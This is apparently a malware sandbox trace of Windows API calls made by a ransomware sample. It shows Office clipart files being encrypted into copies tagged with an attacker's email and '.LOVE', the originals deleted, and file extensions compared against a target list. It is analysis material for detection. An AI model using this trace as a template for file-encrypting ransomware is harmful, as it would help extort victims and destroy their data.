[0219.766] SetEndOfFile (hFile=0x374) returned 1 [0219.767] CloseHandle (hObject=0x374) returned 1 [0219.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0219.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.768] lstrlenW (lpString=".doc") returned 4 [0219.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.768] lstrlenW (lpString=".docx") returned 5 [0219.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.768] lstrlenW (lpString=".pdf") returned 4 [0219.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.768] lstrlenW (lpString=".xls") returned 4 [0219.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.769] lstrlenW (lpString=".xlsx") returned 5 [0219.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.769] lstrlenW (lpString=".ppt") returned 4 [0219.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.769] lstrlenW (lpString=".zip") returned 4 [0219.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.769] lstrlenW (lpString=".rar") returned 4 [0219.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.769] lstrlenW (lpString=".bz2") returned 4 [0219.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.769] lstrlenW (lpString=".7z") returned 3 [0219.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.769] lstrlenW (lpString=".dbf") returned 4 [0219.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.769] lstrlenW (lpString=".1cd") returned 4 [0219.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0219.769] lstrlenW (lpString=".jpg") returned 4 [0219.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.783] GetLastError () returned 0x0 [0219.783] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x721c, lpOverlapped=0x0) returned 1 [0219.840] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x7220, lpOverlapped=0x0) returned 1 [0219.841] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.843] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.844] SetEndOfFile (hFile=0x374) returned 1 [0219.844] CloseHandle (hObject=0x374) returned 1 [0219.844] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.844] SetEndOfFile (hFile=0x2cc) returned 1 [0219.845] CloseHandle (hObject=0x2cc) returned 1 [0219.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString=".doc") returned 4 [0219.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString=".docx") returned 5 [0219.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.846] lstrlenW (lpString=".pdf") returned 4 [0219.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString=".xls") returned 4 [0219.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.846] lstrlenW (lpString=".xlsx") returned 5 [0219.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.846] lstrlenW (lpString=".ppt") returned 4 [0219.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString=".zip") returned 4 [0219.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.846] lstrlenW (lpString=".rar") returned 4 [0219.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString=".bz2") returned 4 [0219.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString=".7z") returned 3 [0219.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString=".dbf") returned 4 [0219.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString=".1cd") returned 4 [0219.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0219.846] lstrlenW (lpString=".jpg") returned 4 [0219.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.849] GetLastError () returned 0x0 [0219.849] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3df0, lpOverlapped=0x0) returned 1 [0219.929] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3e00, lpOverlapped=0x0) returned 1 [0219.930] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0219.930] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0219.930] SetEndOfFile (hFile=0x374) returned 1 [0219.930] CloseHandle (hObject=0x374) returned 1 [0219.930] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0219.930] SetEndOfFile (hFile=0x2cc) returned 1 [0219.930] CloseHandle (hObject=0x2cc) returned 1 [0219.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0219.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.931] lstrlenW (lpString=".doc") returned 4 [0219.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.931] lstrlenW (lpString=".docx") returned 5 [0219.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.931] lstrlenW (lpString=".pdf") returned 4 [0219.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.931] lstrlenW (lpString=".xls") returned 4 [0219.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.931] lstrlenW (lpString=".xlsx") returned 5 [0219.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.931] lstrlenW (lpString=".ppt") returned 4 [0219.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.932] lstrlenW (lpString=".zip") returned 4 [0219.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.933] lstrlenW (lpString=".rar") returned 4 [0219.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.933] lstrlenW (lpString=".bz2") returned 4 [0219.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.933] lstrlenW (lpString=".7z") returned 3 [0219.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.933] lstrlenW (lpString=".dbf") returned 4 [0219.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.933] lstrlenW (lpString=".1cd") returned 4 [0219.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0219.933] lstrlenW (lpString=".jpg") returned 4 [0219.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.933] GetLastError () returned 0x0 [0219.933] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xfea, lpOverlapped=0x0) returned 1 [0220.198] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xff0, lpOverlapped=0x0) returned 1 [0220.199] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.199] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.199] SetEndOfFile (hFile=0x374) returned 1 [0220.199] CloseHandle (hObject=0x374) returned 1 [0220.199] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.200] SetEndOfFile (hFile=0x2cc) returned 1 [0220.200] CloseHandle (hObject=0x2cc) returned 1 [0220.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0220.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.202] lstrlenW (lpString=".doc") returned 4 [0220.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString=".docx") returned 5 [0220.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.202] lstrlenW (lpString=".pdf") returned 4 [0220.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString=".xls") returned 4 [0220.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.202] lstrlenW (lpString=".xlsx") returned 5 [0220.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.202] lstrlenW (lpString=".ppt") returned 4 [0220.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.202] lstrlenW (lpString=".zip") returned 4 [0220.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.202] lstrlenW (lpString=".rar") returned 4 [0220.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString=".bz2") returned 4 [0220.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString=".7z") returned 3 [0220.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.202] lstrlenW (lpString=".dbf") returned 4 [0220.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.202] lstrlenW (lpString=".1cd") returned 4 [0220.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0220.202] lstrlenW (lpString=".jpg") returned 4 [0220.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.271] GetLastError () returned 0x0 [0220.271] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0220.296] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0220.298] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.298] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.298] SetEndOfFile (hFile=0x320) returned 1 [0220.298] CloseHandle (hObject=0x320) returned 1 [0220.298] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.298] SetEndOfFile (hFile=0x348) returned 1 [0220.298] CloseHandle (hObject=0x348) returned 1 [0220.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0220.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.299] lstrlenW (lpString=".doc") returned 4 [0220.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.299] lstrlenW (lpString=".docx") returned 5 [0220.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.299] lstrlenW (lpString=".pdf") returned 4 [0220.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.299] lstrlenW (lpString=".xls") returned 4 [0220.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.299] lstrlenW (lpString=".xlsx") returned 5 [0220.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.299] lstrlenW (lpString=".ppt") returned 4 [0220.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.300] lstrlenW (lpString=".zip") returned 4 [0220.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.300] lstrlenW (lpString=".rar") returned 4 [0220.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.300] lstrlenW (lpString=".bz2") returned 4 [0220.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.300] lstrlenW (lpString=".7z") returned 3 [0220.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.300] lstrlenW (lpString=".dbf") returned 4 [0220.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.300] lstrlenW (lpString=".1cd") returned 4 [0220.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0220.300] lstrlenW (lpString=".jpg") returned 4 [0220.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.300] GetLastError () returned 0x0 [0220.301] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x148c, lpOverlapped=0x0) returned 1 [0220.354] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1490, lpOverlapped=0x0) returned 1 [0220.355] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.355] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.355] SetEndOfFile (hFile=0x320) returned 1 [0220.355] CloseHandle (hObject=0x320) returned 1 [0220.356] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.356] SetEndOfFile (hFile=0x348) returned 1 [0220.357] CloseHandle (hObject=0x348) returned 1 [0220.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.358] lstrlenW (lpString=".doc") returned 4 [0220.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".docx") returned 5 [0220.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.358] lstrlenW (lpString=".pdf") returned 4 [0220.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".xls") returned 4 [0220.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.358] lstrlenW (lpString=".xlsx") returned 5 [0220.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.358] lstrlenW (lpString=".ppt") returned 4 [0220.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.358] lstrlenW (lpString=".zip") returned 4 [0220.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.358] lstrlenW (lpString=".rar") returned 4 [0220.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".bz2") returned 4 [0220.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".7z") returned 3 [0220.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.359] lstrlenW (lpString=".dbf") returned 4 [0220.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.359] lstrlenW (lpString=".1cd") returned 4 [0220.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0220.359] lstrlenW (lpString=".jpg") returned 4 [0220.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.443] GetLastError () returned 0x0 [0220.443] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2f0, lpOverlapped=0x0) returned 1 [0220.489] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x300, lpOverlapped=0x0) returned 1 [0220.490] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.490] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.490] SetEndOfFile (hFile=0x354) returned 1 [0220.490] CloseHandle (hObject=0x354) returned 1 [0220.490] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.490] SetEndOfFile (hFile=0x388) returned 1 [0220.490] CloseHandle (hObject=0x388) returned 1 [0220.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.491] lstrlenW (lpString=".doc") returned 4 [0220.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString=".docx") returned 5 [0220.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.491] lstrlenW (lpString=".pdf") returned 4 [0220.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.491] lstrlenW (lpString=".xls") returned 4 [0220.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.491] lstrlenW (lpString=".xlsx") returned 5 [0220.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.492] lstrlenW (lpString=".ppt") returned 4 [0220.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.492] lstrlenW (lpString=".zip") returned 4 [0220.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.492] lstrlenW (lpString=".rar") returned 4 [0220.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 